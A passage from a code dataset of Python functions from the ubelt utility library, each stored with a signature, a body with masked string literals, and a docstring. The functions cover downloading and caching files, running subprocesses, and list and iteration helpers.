http://blog.moleculea.com/2012/10/04/urlretrieve-progres-indicator/\n    http://stackoverflow.com/questions/15644964/python-progress-bar-and-downloads\n    http://stackoverflow.com/questions/16694907/how-to-download-large-file-in-python-with-requests-py\n\nCommandLine:\n    python -m xdoctest ubelt.util_download download:1\n\nExample:\n    >>> # xdoctest: +REQUIRES(--network)\n    >>> from ubelt.util_download import *  # NOQA\n    >>> url = 'http://i.imgur.com/rqwaDag.png'\n    >>> fpath = download(url)\n    >>> print(basename(fpath))\n    rqwaDag.png\n\nExample:\n    >>> # xdoctest: +REQUIRES(--network)\n    >>> import ubelt as ub\n    >>> import io\n    >>> url = 'http://i.imgur.com/rqwaDag.png'\n    >>> file = io.BytesIO()\n    >>> fpath = download(url, file)\n    >>> file.seek(0)\n    >>> data = file.read()\n    >>> assert ub.hash_data(data, hasher='sha1').startswith('f79ea24571')\n\nExample:\n    >>> # xdoctest: +REQUIRES(--network)\n    >>> url = 'http://i.imgur.com/rqwaDag.png'\n    >>> fpath = download(url, hasher='sha1', hash_prefix='f79ea24571da6ddd2ba12e3d57b515249ecb8a35')\n    Downloading url='http://i.imgur.com/rqwaDag.png' to fpath=...rqwaDag.png\n    ...\n    ...1233/1233... rate=... Hz, eta=..., total=..., wall=...\n\nExample:\n    >>> # xdoctest: +REQUIRES(--network)\n    >>> # test download from girder\n    >>> import pytest\n    >>> import ubelt as ub\n    >>> url = 'https://data.kitware.com/api/v1/item/5b4039308d777f2e6225994c/download'\n    >>> ub.download(url, hasher='sha512', hash_prefix='c98a46cb31205cf')\n    >>> with pytest.raises(RuntimeError):\n    >>>     ub.download(url, hasher='sha512', hash_prefix='BAD_HASH')", "id": "f5135:m0"}
{"signature": "def grabdata(url, fpath=None, dpath=None, fname=None, redo=False,<EOL>verbose=<NUM_LIT:1>, appname=None, hash_prefix=None, hasher='<STR_LIT>',<EOL>**download_kw):", "body": "from ubelt import util_platform<EOL>if appname and dpath:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if fpath and (dpath or fname or appname):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if fpath is None:<EOL><INDENT>if dpath is None:<EOL><INDENT>appname = appname or '<STR_LIT>'<EOL>dpath = util_platform.ensure_app_cache_dir(appname)<EOL><DEDENT>if fname is None:<EOL><INDENT>fname = basename(url)<EOL><DEDENT>fpath = join(dpath, fname)<EOL><DEDENT>needs_download = redo<EOL>if not exists(fpath):<EOL><INDENT>needs_download = True<EOL><DEDENT>if hash_prefix:<EOL><INDENT>stamp_fpath, needs_download = _check_hash_stamp(<EOL>fpath, hash_prefix, hasher, verbose, needs_download)<EOL><DEDENT>if needs_download:<EOL><INDENT>fpath = download(url, fpath, verbose=verbose,<EOL>hash_prefix=hash_prefix, hasher=hasher,<EOL>**download_kw)<EOL>if hash_prefix:<EOL><INDENT>with open(stamp_fpath, '<STR_LIT:w>') as file:<EOL><INDENT>file.write(hash_prefix)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if verbose >= <NUM_LIT:2>:<EOL><INDENT>print('<STR_LIT>' % fpath)<EOL><DEDENT><DEDENT>return fpath<EOL>", "docstring": "Downloads a file, caches it, and returns its local path.\n\nArgs:\n    url (str): url to the file to download\n\n    fpath (PathLike): The full path to download the file to. If\n        unspecified, the arguments `dpath` and `fname` are used to\n        determine this.\n\n    dpath (PathLike): where to download the file. If unspecified `appname`\n        is used to determine this. Mutually exclusive with fpath.\n\n    fname (str): What to name the downloaded file. Defaults to the url\n        basename. Mutually exclusive with fpath.\n\n    redo (bool): if True forces redownload of the file (default = False)\n\n    verbose (bool):  verbosity flag (default = True)\n\n    appname (str): set dpath to `ub.get_app_cache_dir(appname)`.\n        Mutually exclusive with dpath and fpath.\n\n    hash_prefix (None or str):\n        If specified, grabdata verifies that this matches the hash of the\n        file, and then saves the hash in a adjacent file to certify that\n        the download was successful. Defaults to None.\n\n    hasher (str or Hasher):\n        If hash_prefix is specified, this indicates the hashing\n        algorithm to apply to the file. Defaults to sha512.\n\n    **download_kw: additional kwargs to pass to ub.download\n\nReturns:\n    PathLike: fpath - file path string\n\nExample:\n    >>> # xdoctest: +REQUIRES(--network)\n    >>> import ubelt as ub\n    >>> url = 'http://i.imgur.com/rqwaDag.png'\n    >>> fpath = ub.grabdata(url, fname='mario.png')\n    >>> result = basename(fpath)\n    >>> print(result)\n    mario.png\n\nExample:\n    >>> # xdoctest: +REQUIRES(--network)\n    >>> import ubelt as ub\n    >>> fname = 'foo.bar'\n    >>> url = 'http://i.imgur.com/rqwaDag.png'\n    >>> prefix1 = '944389a39dfb8fa9'\n    >>> fpath = ub.grabdata(url, fname=fname, hash_prefix=prefix1)\n    >>> stamp_fpath = fpath + '.hash'\n    >>> assert open(stamp_fpath, 'r').read() == prefix1\n    >>> # Check that the download doesn't happen again\n    >>> fpath = ub.grabdata(url, fname=fname, hash_prefix=prefix1)\n    >>> # todo: check file timestamps have not changed\n    >>> #\n    >>> # Check redo works with hash\n    >>> fpath = ub.grabdata(url, fname=fname, hash_prefix=prefix1, redo=True)\n    >>> # todo: check file timestamps have changed\n    >>> #\n    >>> # Check that a redownload occurs when the stamp is changed\n    >>> open(stamp_fpath, 'w').write('corrupt-stamp')\n    >>> fpath = ub.grabdata(url, fname=fname, hash_prefix=prefix1)\n    >>> assert open(stamp_fpath, 'r').read() == prefix1\n    >>> #\n    >>> # Check that a redownload occurs when the stamp is removed\n    >>> ub.delete(stamp_fpath)\n    >>> open(fpath, 'w').write('corrupt-data')\n    >>> assert not ub.hash_file(fpath, base='hex', hasher='sha512').startswith(prefix1)\n    >>> fpath = ub.grabdata(url, fname=fname, hash_prefix=prefix1)\n    >>> assert ub.hash_file(fpath, base='hex', hasher='sha512').startswith(prefix1)\n    >>> #\n    >>> # Check that requesting new data causes redownload\n    >>> url2 = 'https://data.kitware.com/api/v1/item/5b4039308d777f2e6225994c/download'\n    >>> prefix2 = 'c98a46cb31205cf'\n    >>> fpath = ub.grabdata(url2, fname=fname, hash_prefix=prefix2)\n    >>> assert open(stamp_fpath, 'r').read() == prefix2", "id": "f5135:m1"}
{"signature": "def _textio_iterlines(stream):", "body": "line = stream.readline()<EOL>while line != '<STR_LIT>':<EOL><INDENT>yield line<EOL>line = stream.readline()<EOL><DEDENT>", "docstring": "Iterates over lines in a TextIO stream until an EOF is encountered.\nThis is the iterator version of stream.readlines()", "id": "f5136:m0"}
{"signature": "def _proc_async_iter_stream(proc, stream, buffersize=<NUM_LIT:1>):", "body": "from six.moves import queue<EOL>from threading import Thread<EOL>def enqueue_output(proc, stream, stream_queue):<EOL><INDENT>while proc.poll() is None:<EOL><INDENT>line = stream.readline()<EOL>stream_queue.put(line)<EOL><DEDENT>for line in _textio_iterlines(stream):<EOL><INDENT>stream_queue.put(line)<EOL><DEDENT>stream_queue.put(None)  <EOL><DEDENT>stream_queue = queue.Queue(maxsize=buffersize)<EOL>_thread = Thread(target=enqueue_output, args=(proc, stream, stream_queue))<EOL>_thread.daemon = True  <EOL>_thread.start()<EOL>return stream_queue<EOL>", "docstring": "Reads output from a process in a separate thread", "id": "f5136:m1"}
{"signature": "def _proc_iteroutput_thread(proc):", "body": "from six.moves import queue<EOL>stdout_queue = _proc_async_iter_stream(proc, proc.stdout)<EOL>stderr_queue = _proc_async_iter_stream(proc, proc.stderr)<EOL>stdout_live = True<EOL>stderr_live = True<EOL>while stdout_live or stderr_live:<EOL><INDENT>if stdout_live:  <EOL><INDENT>try:<EOL><INDENT>oline = stdout_queue.get_nowait()<EOL>stdout_live = oline is not None<EOL><DEDENT>except queue.Empty:<EOL><INDENT>oline = None<EOL><DEDENT><DEDENT>if stderr_live:<EOL><INDENT>try:<EOL><INDENT>eline = stderr_queue.get_nowait()<EOL>stderr_live = eline is not None<EOL><DEDENT>except queue.Empty:<EOL><INDENT>eline = None<EOL><DEDENT><DEDENT>if oline is not None or eline is not None:<EOL><INDENT>yield oline, eline<EOL><DEDENT><DEDENT>", "docstring": "Iterates over output from a process line by line\n\nNote:\n    WARNING. Current implementation might have bugs with other threads.\n    This behavior was seen when using earlier versions of tqdm. I'm not\n    sure if this was our bug or tqdm's. Newer versions of tqdm fix this,\n    but I cannot guarantee that there isn't an issue on our end.\n\nYields:\n    Tuple[str, str]: oline, eline: stdout and stderr line\n\nReferences:\n    https://stackoverflow.com/questions/375427/non-blocking-read-subproc", "id": "f5136:m2"}
{"signature": "def _proc_iteroutput_select(proc):", "body": "from six.moves import zip_longest<EOL>while proc.poll() is None:<EOL><INDENT>reads = [proc.stdout.fileno(), proc.stderr.fileno()]<EOL>ret = select.select(reads, [], [])<EOL>oline = eline = None<EOL>for fd in ret[<NUM_LIT:0>]:<EOL><INDENT>if fd == proc.stdout.fileno():<EOL><INDENT>oline = proc.stdout.readline()<EOL><DEDENT>if fd == proc.stderr.fileno():<EOL><INDENT>eline = proc.stderr.readline()<EOL><DEDENT><DEDENT>yield oline, eline<EOL><DEDENT>oline_iter = _textio_iterlines(proc.stdout)<EOL>eline_iter = _textio_iterlines(proc.stderr)<EOL>for oline, eline in zip_longest(oline_iter, eline_iter):<EOL><INDENT>yield oline, eline<EOL><DEDENT>", "docstring": "Iterates over output from a process line by line\n\nUNIX only. Use `_proc_iteroutput_thread` instead for a cross platform\nsolution based on threads.\n\nYields:\n    Tuple[str, str]: oline, eline: stdout and stderr line", "id": "f5136:m3"}
{"signature": "def _tee_output(make_proc, stdout=None, stderr=None, backend='<STR_LIT>'):", "body": "logged_out = []<EOL>logged_err = []<EOL>if backend == '<STR_LIT>':<EOL><INDENT>backend = '<STR_LIT>'<EOL><DEDENT>if backend == '<STR_LIT>':<EOL><INDENT>if not POSIX:  <EOL><INDENT>raise NotImplementedError('<STR_LIT>')<EOL><DEDENT>_proc_iteroutput = _proc_iteroutput_select<EOL><DEDENT>elif backend == '<STR_LIT>':<EOL><INDENT>_proc_iteroutput = _proc_iteroutput_thread<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>proc = make_proc()<EOL>for oline, eline in _proc_iteroutput(proc):<EOL><INDENT>if oline:<EOL><INDENT>if stdout:  <EOL><INDENT>stdout.write(oline)<EOL>stdout.flush()<EOL><DEDENT>logged_out.append(oline)<EOL><DEDENT>if eline:<EOL><INDENT>if stderr:  <EOL><INDENT>stderr.write(eline)<EOL>stderr.flush()<EOL><DEDENT>logged_err.append(eline)<EOL><DEDENT><DEDENT>return proc, logged_out, logged_err<EOL>", "docstring": "Simultaneously reports and captures stdout and stderr from a process\n\nsubprocess must be created using (stdout=subprocess.PIPE,\nstderr=subprocess.PIPE)", "id": "f5136:m4"}
{"signature": "def cmd(command, shell=False, detach=False, verbose=<NUM_LIT:0>, tee=None, cwd=None,<EOL>env=None, tee_backend='<STR_LIT>', verbout=None, **kwargs):", "body": "if kwargs:  <EOL><INDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>warnings.warn(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>', DeprecationWarning)<EOL>tee = kwargs.pop('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>warnings.warn(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>', DeprecationWarning)<EOL>detach = kwargs.pop('<STR_LIT>')<EOL><DEDENT>if kwargs:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(list(kwargs.keys)))<EOL><DEDENT><DEDENT>if isinstance(command, six.string_types):<EOL><INDENT>command_text = command<EOL>command_tup = None<EOL><DEDENT>else:<EOL><INDENT>import pipes<EOL>command_tup = command<EOL>command_text = '<STR_LIT:U+0020>'.join(list(map(pipes.quote, command_tup)))<EOL><DEDENT>if shell or sys.platform.startswith('<STR_LIT:win32>'):<EOL><INDENT>args = command_text<EOL><DEDENT>else:<EOL><INDENT>if command_tup is None:<EOL><INDENT>import shlex<EOL>command_tup = shlex.split(command_text)<EOL><DEDENT>args = command_tup<EOL><DEDENT>if tee is None:<EOL><INDENT>tee = verbose > <NUM_LIT:0><EOL><DEDENT>if verbose > <NUM_LIT:1>:<EOL><INDENT>import os<EOL>import platform<EOL>import getpass<EOL>from ubelt import util_path<EOL>if verbose > <NUM_LIT:2>:<EOL><INDENT>try:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>except Exception:  <EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT><DEDENT>cwd_ = os.getcwd() if cwd is None else cwd<EOL>compname = platform.node()<EOL>username = getpass.getuser()<EOL>cwd_ = util_path.compressuser(cwd_)<EOL>ps1 = '<STR_LIT>'.format(username, compname, cwd_)<EOL>print(ps1 + command_text)<EOL><DEDENT>def make_proc():<EOL><INDENT>import subprocess<EOL>proc = subprocess.Popen(args, stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE, shell=shell,<EOL>universal_newlines=True, cwd=cwd, env=env)<EOL>return proc<EOL><DEDENT>if detach:<EOL><INDENT>info = {'<STR_LIT>': make_proc(), '<STR_LIT>': command_text}<EOL>if verbose > <NUM_LIT:0>:  <EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if tee:<EOL><INDENT>stdout, stderr = sys.stdout, sys.stderr<EOL>proc, logged_out, logged_err = _tee_output(make_proc, stdout, stderr,<EOL>backend=tee_backend)<EOL>try:<EOL><INDENT>out = '<STR_LIT>'.join(logged_out)<EOL><DEDENT>except UnicodeDecodeError:  <EOL><INDENT>out = '<STR_LIT:\\n>'.join(_.decode('<STR_LIT:utf-8>') for _ in logged_out)<EOL><DEDENT>try:<EOL><INDENT>err = '<STR_LIT>'.join(logged_err)<EOL><DEDENT>except UnicodeDecodeError:  <EOL><INDENT>err = '<STR_LIT:\\n>'.join(_.decode('<STR_LIT:utf-8>') for _ in logged_err)<EOL><DEDENT>(out_, err_) = proc.communicate()<EOL><DEDENT>else:<EOL><INDENT>proc = make_proc()<EOL>(out, err) = proc.communicate()<EOL><DEDENT>ret = proc.wait()<EOL>info = {<EOL>'<STR_LIT>': out,<EOL>'<STR_LIT>': err,<EOL>'<STR_LIT>': ret,<EOL>'<STR_LIT>': proc,<EOL>'<STR_LIT>': cwd,<EOL>'<STR_LIT>': command_text<EOL>}<EOL>if verbose > <NUM_LIT:2>:<EOL><INDENT>try:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>except Exception:  <EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>return info<EOL>", "docstring": "Executes a command in a subprocess.\n\nThe advantage of this wrapper around subprocess is that\n(1) you control if the subprocess prints to stdout,\n(2) the text written to stdout and stderr is returned for parsing,\n(3) cross platform behavior that lets you specify the command as a string\nor tuple regardless of whether or not shell=True.\n(4) ability to detach, return the process object and allow the process to\nrun in the background (eventually we may return a Future object instead).\n\nArgs:\n    command (str or Sequence): bash-like command string or tuple of\n        executable and args\n\n    shell (bool): if True, process is run in shell, defaults to False.\n\n    detach (bool): if True, process is detached and run in background,\n        defaults to False.\n\n    verbose (int): verbosity mode. Can be 0, 1, 2, or 3. Defaults to 0.\n\n    tee (bool, optional): if True, simultaneously writes to stdout while\n        capturing output from the command. If not specified, defaults to\n        True if verbose > 0.  If detech is True, then this argument is\n        ignored.\n\n    cwd (PathLike, optional): path to run command\n\n    env (str, optional): environment passed to Popen\n\n    tee_backend (str, optional): backend for tee output.\n        Valid choices are: \"auto\", \"select\" (POSIX only), and \"thread\".\n\n    **kwargs: only used to support deprecated arguments\n\nReturns:\n    dict: info - information about command status.\n        if detach is False `info` contains captured standard out,\n        standard error, and the return code\n        if detach is False `info` contains a reference to the process.\n\nNotes:\n    Inputs can either be text or tuple based. On UNIX we ensure conversion\n    to text if shell=True, and to tuple if shell=False. On windows, the\n    input is always text based.  See [3] for a potential cross-platform\n    shlex solution for windows.\n\nCommandLine:\n    python -m ubelt.util_cmd cmd\n    python -c \"import ubelt as ub; ub.cmd('ping localhost -c 2', verbose=2)\"\n\nReferences:\n    [1] https://stackoverflow.com/questions/11495783/redirect-subprocess-stderr-to-stdout\n    [2] https://stackoverflow.com/questions/7729336/how-can-i-print-and-display-subprocess-stdout-and-stderr-output-without-distorti\n    [3] https://stackoverflow.com/questions/33560364/python-windows-parsing-command-lines-with-shlex\n\nExample:\n    >>> info = cmd(('echo', 'simple cmdline interface'), verbose=1)\n    simple cmdline interface\n    >>> assert info['ret'] == 0\n    >>> assert info['out'].strip() == 'simple cmdline interface'\n    >>> assert info['err'].strip() == ''\n\nDoctest:\n    >>> info = cmd('echo str noshell', verbose=0)\n    >>> assert info['out'].strip() == 'str noshell'\n\nDoctest:\n    >>> # windows echo will output extra single quotes\n    >>> info = cmd(('echo', 'tuple noshell'), verbose=0)\n    >>> assert info['out'].strip().strip(\"'\") == 'tuple noshell'\n\nDoctest:\n    >>> # Note this command is formatted to work on win32 and unix\n    >>> info = cmd('echo str&&echo shell', verbose=0, shell=True)\n    >>> assert info['out'].strip() == 'str' + chr(10) + 'shell'\n\nDoctest:\n    >>> info = cmd(('echo', 'tuple shell'), verbose=0, shell=True)\n    >>> assert info['out'].strip().strip(\"'\") == 'tuple shell'\n\nDoctest:\n    >>> import ubelt as ub\n    >>> from os.path import join, exists\n    >>> fpath1 = join(ub.get_app_cache_dir('ubelt'), 'cmdout1.txt')\n    >>> fpath2 = join(ub.get_app_cache_dir('ubelt'), 'cmdout2.txt')\n    >>> ub.delete(fpath1)\n    >>> ub.delete(fpath2)\n    >>> info1 = ub.cmd(('touch', fpath1), detach=True)\n    >>> info2 = ub.cmd('echo writing2 > ' + fpath2, shell=True, detach=True)\n    >>> while not exists(fpath1):\n    ...     pass\n    >>> while not exists(fpath2):\n    ...     pass\n    >>> assert ub.readfrom(fpath1) == ''\n    >>> assert ub.readfrom(fpath2).strip() == 'writing2'\n    >>> info1['proc'].wait()\n    >>> info2['proc'].wait()", "id": "f5136:m5"}
{"signature": "def timestamp(method='<STR_LIT>'):", "body": "if method == '<STR_LIT>':<EOL><INDENT>tz_hour = time.timezone // <NUM_LIT><EOL>utc_offset = str(tz_hour) if tz_hour < <NUM_LIT:0> else '<STR_LIT:+>' + str(tz_hour)<EOL>stamp = time.strftime('<STR_LIT>') + utc_offset<EOL>return stamp<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "make an iso8601 timestamp\n\nArgs:\n    method (str): type of timestamp\n\nExample:\n    >>> stamp = timestamp()\n    >>> print('stamp = {!r}'.format(stamp))\n    stamp = ...-...-...T...", "id": "f5137:m0"}
{"signature": "def iterable(obj, strok=False):", "body": "try:<EOL><INDENT>iter(obj)<EOL><DEDENT>except Exception:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return strok or not isinstance(obj, six.string_types)<EOL><DEDENT>", "docstring": "Checks if the input implements the iterator interface. An exception is made\nfor strings, which return False unless `strok` is True\n\nArgs:\n    obj (object): a scalar or iterable input\n\n    strok (bool): if True allow strings to be interpreted as iterable\n\nReturns:\n    bool: True if the input is iterable\n\nExample:\n    >>> obj_list = [3, [3], '3', (3,), [3, 4, 5], {}]\n    >>> result = [iterable(obj) for obj in obj_list]\n    >>> assert result == [False, True, False, True, True, True]\n    >>> result = [iterable(obj, strok=True) for obj in obj_list]\n    >>> assert result == [False, True, True, True, True, True]", "id": "f5139:m0"}
{"signature": "def take(items, indices):", "body": "return (items[index] for index in indices)<EOL>", "docstring": "Selects a subset of a list based on a list of indices.\nThis is similar to np.take, but pure python.\n\nArgs:\n    items (Sequence): an indexable object to select items from\n\n    indices (Iterable): sequence of indexing objects\n\nReturns:\n    Iterable or scalar: subset of the list\n\nSeeAlso:\n    ub.dict_subset\n\nExample:\n    >>> import ubelt as ub\n    >>> items = [0, 1, 2, 3]\n    >>> indices = [2, 0]\n    >>> list(ub.take(items, indices))\n    [2, 0]", "id": "f5139:m1"}
{"signature": "def compress(items, flags):", "body": "return it.compress(items, flags)<EOL>", "docstring": "Selects items where the corresponding value in flags is True\nThis is similar to np.compress and it.compress\n\nArgs:\n    items (Iterable): a sequence to select items from\n\n    flags (Iterable): corresponding sequence of bools\n\nReturns:\n    Iterable: a subset of masked items\n\nExample:\n    >>> import ubelt as ub\n    >>> items = [1, 2, 3, 4, 5]\n    >>> flags = [False, True, True, False, True]\n    >>> list(ub.compress(items, flags))\n    [2, 3, 5]", "id": "f5139:m2"}
{"signature": "def flatten(nested_list):", "body": "return it.chain.from_iterable(nested_list)<EOL>", "docstring": "Transforms a nested iterable into a flat iterable.\n\nThis is simply an alias for `itertools.chain.from_iterable`\n\nArgs:\n    nested_list (Iterable[Iterable]): list of lists\n\nReturns:\n    Iterable: flattened items\n\nExample:\n    >>> import ubelt as ub\n    >>> nested_list = [['a', 'b'], ['c', 'd']]\n    >>> list(ub.flatten(nested_list))\n    ['a', 'b', 'c', 'd']", "id": "f5139:m3"}
{"signature": "def unique(items, key=None):", "body": "seen = set()<EOL>if key is None:<EOL><INDENT>for item in items:<EOL><INDENT>if item not in seen:<EOL><INDENT>seen.add(item)<EOL>yield item<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for item in items:<EOL><INDENT>norm = key(item)<EOL>if norm not in seen:<EOL><INDENT>seen.add(norm)<EOL>yield item<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Generates unique items in the order they appear.\n\nArgs:\n    items (Iterable): list of items\n\n    key (Callable, optional): custom normalization function.\n        If specified returns items where `key(item)` is unique.\n\nYields:\n    object: a unique item from the input sequence\n\nCommandLine:\n    python -m utool.util_list --exec-unique_ordered\n\nExample:\n    >>> import ubelt as ub\n    >>> items = [4, 6, 6, 0, 6, 1, 0, 2, 2, 1]\n    >>> unique_items = list(ub.unique(items))\n    >>> assert unique_items == [4, 6, 0, 1, 2]\n\nExample:\n    >>> import ubelt as ub\n    >>> items = ['A', 'a', 'b', 'B', 'C', 'c', 'D', 'e', 'D', 'E']\n    >>> unique_items = list(ub.unique(items, key=six.text_type.lower))\n    >>> assert unique_items == ['A', 'b', 'C', 'D', 'e']\n    >>> unique_items = list(ub.unique(items))\n    >>> assert unique_items == ['A', 'a', 'b', 'B', 'C', 'c', 'D', 'e', 'E']", "id": "f5139:m4"}
{"signature": "def argunique(items, key=None):", "body": "<EOL>if key is None:<EOL><INDENT>return unique(range(len(items)), key=lambda i: items[i])<EOL><DEDENT>else:<EOL><INDENT>return unique(range(len(items)), key=lambda i: key(items[i]))<EOL><DEDENT>", "docstring": "Returns indices corresponding to the first instance of each unique item.\n\nArgs:\n    items (Sequence): indexable collection of items\n\n    key (Callable, optional): custom normalization function.\n        If specified returns items where `key(item)` is unique.\n\nYields:\n    int : indices of the unique items\n\nExample:\n    >>> items = [0, 2, 5, 1, 1, 0, 2, 4]\n    >>> indices = list(argunique(items))\n    >>> assert indices == [0, 1, 2, 3, 7]\n    >>> indices = list(argunique(items, key=lambda x: x % 2 == 0))\n    >>> assert indices == [0, 2]", "id": "f5139:m5"}
{"signature": "def unique_flags(items, key=None):", "body": "len_ = len(items)<EOL>if key is None:<EOL><INDENT>item_to_index = dict(zip(reversed(items), reversed(range(len_))))<EOL>indices = item_to_index.values()<EOL><DEDENT>else:<EOL><INDENT>indices = argunique(items, key=key)<EOL><DEDENT>flags = boolmask(indices, len_)<EOL>return flags<EOL>", "docstring": "Returns a list of booleans corresponding to the first instance of each\nunique item.\n\nArgs:\n    items (Sequence): indexable collection of items\n\n    key (Callable, optional): custom normalization function.\n        If specified returns items where `key(item)` is unique.\n\nReturns:\n    List[bool] : flags the items that are unique\n\nExample:\n    >>> import ubelt as ub\n    >>> items = [0, 2, 1, 1, 0, 9, 2]\n    >>> flags = unique_flags(items)\n    >>> assert flags == [True, True, True, False, False, True, False]\n    >>> flags = unique_flags(items, key=lambda x: x % 2 == 0)\n    >>> assert flags == [True, False, True, False, False, False, False]", "id": "f5139:m6"}
{"signature": "def boolmask(indices, maxval=None):", "body": "if maxval is None:<EOL><INDENT>indices = list(indices)<EOL>maxval = max(indices) + <NUM_LIT:1><EOL><DEDENT>mask = [False] * maxval<EOL>for index in indices:<EOL><INDENT>mask[index] = True<EOL><DEDENT>return mask<EOL>", "docstring": "Constructs a list of booleans where an item is True if its position is in\n`indices` otherwise it is False.\n\nArgs:\n    indices (list): list of integer indices\n\n    maxval (int): length of the returned list. If not specified\n        this is inferred from `indices`\n\nNote:\n    In the future the arg `maxval` may change its name to `shape`\n\nReturns:\n    list: mask: list of booleans. mask[idx] is True if idx in indices\n\nExample:\n    >>> import ubelt as ub\n    >>> indices = [0, 1, 4]\n    >>> mask = ub.boolmask(indices, maxval=6)\n    >>> assert mask == [True, True, False, False, True, False]\n    >>> mask = ub.boolmask(indices)\n    >>> assert mask == [True, True, False, False, True]", "id": "f5139:m7"}
{"signature": "def iter_window(iterable, size=<NUM_LIT:2>, step=<NUM_LIT:1>, wrap=False):", "body": "<EOL>iter_list = it.tee(iterable, size)<EOL>if wrap:<EOL><INDENT>iter_list = [iter_list[<NUM_LIT:0>]] + list(map(it.cycle, iter_list[<NUM_LIT:1>:]))<EOL><DEDENT>try:<EOL><INDENT>for count, iter_ in enumerate(iter_list[<NUM_LIT:1>:], start=<NUM_LIT:1>):<EOL><INDENT>for _ in range(count):<EOL><INDENT>next(iter_)<EOL><DEDENT><DEDENT><DEDENT>except StopIteration:<EOL><INDENT>return iter(())<EOL><DEDENT>else:<EOL><INDENT>_window_iter = zip(*iter_list)<EOL>window_iter = it.islice(_window_iter, <NUM_LIT:0>, None, step)<EOL>return window_iter<EOL><DEDENT>", "docstring": "Iterates through iterable with a window size. This is essentially a 1D\nsliding window.\n\nArgs:\n    iterable (Iterable): an iterable sequence\n\n    size (int): sliding window size (default = 2)\n\n    step (int): sliding step size (default = 1)\n\n    wrap (bool): wraparound (default = False)\n\nReturns:\n    iter: returns windows in a sequence\n\nExample:\n    >>> iterable = [1, 2, 3, 4, 5, 6]\n    >>> size, step, wrap = 3, 1, True\n    >>> window_iter = iter_window(iterable, size, step, wrap)\n    >>> window_list = list(window_iter)\n    >>> print('window_list = %r' % (window_list,))\n    window_list = [(1, 2, 3), (2, 3, 4), (3, 4, 5), (4, 5, 6), (5, 6, 1), (6, 1, 2)]\n\nExample:\n    >>> iterable = [1, 2, 3, 4, 5, 6]\n    >>> size, step, wrap = 3, 2, True\n    >>> window_iter = iter_window(iterable, size, step, wrap)\n    >>> window_list = list(window_iter)\n    >>> print('window_list = %r' % (window_list,))\n    window_list = [(1, 2, 3), (3, 4, 5), (5, 6, 1)]\n\nExample:\n    >>> iterable = [1, 2, 3, 4, 5, 6]\n    >>> size, step, wrap = 3, 2, False\n    >>> window_iter = iter_window(iterable, size, step, wrap)\n    >>> window_list = list(window_iter)\n    >>> print('window_list = %r' % (window_list,))\n    window_list = [(1, 2, 3), (3, 4, 5)]\n\nExample:\n    >>> iterable = []\n    >>> size, step, wrap = 3, 2, False\n    >>> window_iter = iter_window(iterable, size, step, wrap)\n    >>> window_list = list(window_iter)\n    >>> print('window_list = %r' % (window_list,))\n    window_list = []", "id": "f5139:m8"}
{"signature": "def allsame(iterable, eq=operator.eq):", "body": "iter_ = iter(iterable)<EOL>try:<EOL><INDENT>first = next(iter_)<EOL><DEDENT>except StopIteration:<EOL><INDENT>return True<EOL><DEDENT>return all(eq(first, item) for item in iter_)<EOL>", "docstring": "Determine if all items in a sequence are the same\n\nArgs:\n    iterable (Iterable): items to determine if they are all the same\n\n    eq (Callable, optional): function to determine equality\n        (default: operator.eq)\n\nExample:\n    >>> allsame([1, 1, 1, 1])\n    True\n    >>> allsame([])\n    True\n    >>> allsame([0, 1])\n    False\n    >>> iterable = iter([0, 1, 1, 1])\n    >>> next(iterable)\n    >>> allsame(iterable)\n    True\n    >>> allsame(range(10))\n    False\n    >>> allsame(range(10), lambda a, b: True)\n    True", "id": "f5139:m9"}
{"signature": "def argsort(indexable, key=None, reverse=False):", "body": "<EOL>if isinstance(indexable, collections_abc.Mapping):<EOL><INDENT>vk_iter = ((v, k) for k, v in indexable.items())<EOL><DEDENT>else:<EOL><INDENT>vk_iter = ((v, k) for k, v in enumerate(indexable))<EOL><DEDENT>if key is None:<EOL><INDENT>indices = [k for v, k in sorted(vk_iter, reverse=reverse)]<EOL><DEDENT>else:<EOL><INDENT>indices = [k for v, k in sorted(vk_iter, key=lambda vk: key(vk[<NUM_LIT:0>]),<EOL>reverse=reverse)]<EOL><DEDENT>return indices<EOL>", "docstring": "Returns the indices that would sort a indexable object.\n\nThis is similar to `numpy.argsort`, but it is written in pure python and\nworks on both lists and dictionaries.\n\nArgs:\n    indexable (Iterable or Mapping): indexable to sort by\n\n    key (Callable, optional): customizes the ordering of the indexable\n\n    reverse (bool, optional): if True returns in descending order\n\nReturns:\n    list: indices: list of indices such that sorts the indexable\n\nExample:\n    >>> import ubelt as ub\n    >>> # argsort works on dicts by returning keys\n    >>> dict_ = {'a': 3, 'b': 2, 'c': 100}\n    >>> indices = ub.argsort(dict_)\n    >>> assert list(ub.take(dict_, indices)) == sorted(dict_.values())\n    >>> # argsort works on lists by returning indices\n    >>> indexable = [100, 2, 432, 10]\n    >>> indices = ub.argsort(indexable)\n    >>> assert list(ub.take(indexable, indices)) == sorted(indexable)\n    >>> # Can use iterators, but be careful. It exhausts them.\n    >>> indexable = reversed(range(100))\n    >>> indices = ub.argsort(indexable)\n    >>> assert indices[0] == 99\n    >>> # Can use key just like sorted\n    >>> indexable = [[0, 1, 2], [3, 4], [5]]\n    >>> indices = ub.argsort(indexable, key=len)\n    >>> assert indices == [2, 1, 0]\n    >>> # Can use reverse just like sorted\n    >>> indexable = [0, 2, 1]\n    >>> indices = ub.argsort(indexable, reverse=True)\n    